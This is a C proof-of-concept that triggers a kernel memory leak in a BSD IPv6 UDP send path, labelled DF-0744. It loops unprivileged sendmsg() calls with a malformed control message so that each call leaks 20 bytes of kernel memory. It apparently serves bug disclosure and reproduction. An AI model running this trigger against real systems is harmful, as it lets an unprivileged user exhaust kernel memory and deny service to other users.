/*
 * DF-0744 trigger #2 — per-call M_IP6OPT memory leak.
 *
 * Bug: sys/netinet6/udp6_output.c:262-267 (releaseopt path).
 *
 *   On the failure path of ip6_setpktoptions() the per-call local
 *   `struct ip6_pktopts opt` may have already accumulated heap
 *   allocations:
 *     - copypktopts() copies the sticky options into &opt (kmalloc
 *       M_IP6OPT), AND/OR
 *     - earlier successfully-parsed cmsgs (e.g. IPV6_PKTINFO) have
 *       kmalloc'd opt.ip6po_pktinfo.
 *
 *   The buggy releaseopt does `ip6_clearpktopts(in6p->in6p_outputopts, -1)`
 *   which clears the STICKY options (or is a no-op when there is no
 *   sticky), and never frees the per-call local `opt`.  When the function
 *   returns, `opt` goes out of scope and its M_IP6OPT allocations are
 *   leaked.
 *
 * Demonstrator:
 *   Drive sendmsg() in a tight loop.  Each iteration passes a control
 *   buffer containing a VALID IPV6_PKTINFO cmsg (causing ip6_setpktoption
 *   to kmalloc opt.ip6po_pktinfo) followed by a MALFORMED cmsg with
 *   cmsg_len == 0 (causing ip6_setpktoptions to return EINVAL).  The
 *   releaseopt path then leaks opt.ip6po_pktinfo.
 *
 *   Per-iteration leak == sizeof(struct in6_pktinfo) == 20 bytes of
 *   M_IP6OPT.  Run N iterations and the in-kernel ip6opt slab grows by
 *   ~N*20 bytes (plus alignment).
 *
 *   The driver does NOT set any sticky option, so this exercises the
 *   pure per-call leak path (independent of the corruption trigger).
 *
 * Usage: leak <iterations>
 *   default: 4000 iterations (~80 kB of leaked M_IP6OPT)
 *
 * Unprivileged: PF_INET6 SOCK_DGRAM + sendmsg() only.
 */
#include <sys/param.h>
#include <sys/socket.h>
#include <sys/types.h>

#include <netinet/in.h>

#include <err.h>
#include <errno.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

int
main(int argc, char **argv)
{
	int s, rc, i, n;
	struct sockaddr_in6 dst;
	struct msghdr msg;
	struct iovec iov;
	unsigned char payload[1] = { '.' };

	/*
	 * Control buffer layout (amd64, CMSG_ALIGN == 8):
	 *   [0..15]  struct cmsghdr #1   cmsg_len = CMSG_LEN(20) = 36
	 *   [16..35] in6_pkt_info        (20 bytes)
	 *   [36..39] padding             (CMSG_ALIGN(36)=40)
	 *   [40..55] struct cmsghdr #2   cmsg_len = 0   <- EINVAL trigger
	 *
	 * Total: 56 bytes.  Well under MLEN.
	 */
	char cbuf[40 + 16];
	struct cmsghdr *cm1, *cm2;
	struct in6_pktinfo *pi;

	n = (argc > 1) ? atoi(argv[1]) : 4000;
	if (n < 1)
		n = 4000;

	s = socket(AF_INET6, SOCK_DGRAM, 0);
	if (s < 0)
		err(1, "socket(AF_INET6, SOCK_DGRAM)");

	memset(&dst, 0, sizeof(dst));
	dst.sin6_len = sizeof(dst);
	dst.sin6_family = AF_INET6;
	dst.sin6_addr = in6addr_loopback;	/* ::1 */
	dst.sin6_port = htons(9);		/* discard */

	memset(cbuf, 0, sizeof(cbuf));

	cm1 = (struct cmsghdr *)&cbuf[0];
	cm1->cmsg_level = IPPROTO_IPV6;
	cm1->cmsg_type = IPV6_PKTINFO;
	cm1->cmsg_len = CMSG_LEN(sizeof(*pi));	/* 16+20 = 36 */
	pi = (struct in6_pktinfo *)CMSG_DATA(cm1);
	memset(pi, 0, sizeof(*pi));
	/* Non-zero, non-multicast, non-unspec address keeps ipi6_addr
	 * validation from short-circuiting at set time.  Loopback is fine. */
	pi->ipi6_addr = in6addr_loopback;
	pi->ipi6_ifindex = 0;

	cm2 = (struct cmsghdr *)&cbuf[40];
	cm2->cmsg_level = IPPROTO_IPV6;
	cm2->cmsg_type = IPV6_PKTINFO;
	cm2->cmsg_len = 0;			/* <<< the EINVAL trigger */

	memset(&msg, 0, sizeof(msg));
	iov.iov_base = payload;
	iov.iov_len = sizeof(payload);
	msg.msg_name = &dst;
	msg.msg_namelen = sizeof(dst);
	msg.msg_iov = &iov;
	msg.msg_iovlen = 1;
	msg.msg_control = cbuf;
	msg.msg_controllen = sizeof(cbuf);

	printf("DF-0744 leak loop: %d iterations, expect ~%d bytes of "
	    "leaked M_IP6OPT (20 B/iter)\n", n, n * 20);

	rc = 0;
	for (i = 0; i < n; i++) {
		ssize_t r = sendmsg(s, &msg, 0);
		if (r < 0) {
			/* EINVAL is expected — and is exactly what triggers
			 * the buggy releaseopt path that leaks.  Network
			 * errors (no route, etc.) on the other hand would
			 * mean the loopback/discard path didn't run. */
			if (errno != EINVAL) {
				warn("sendmsg iteration %d", i);
				if (errno == ENETUNREACH ||
				    errno == EHOSTUNREACH ||
				    errno == EAFNOSUPPORT) {
					/* IPv6 not configured: bail. */
					fprintf(stderr,
					    "IPv6 unreachable; aborting "
					    "(run on a guest with ::1)\n");
					return 1;
				}
			}
		}
	}
	printf("DF-0744 leak loop done: %d iterations complete.\n", n);
	close(s);
	return 0;
}
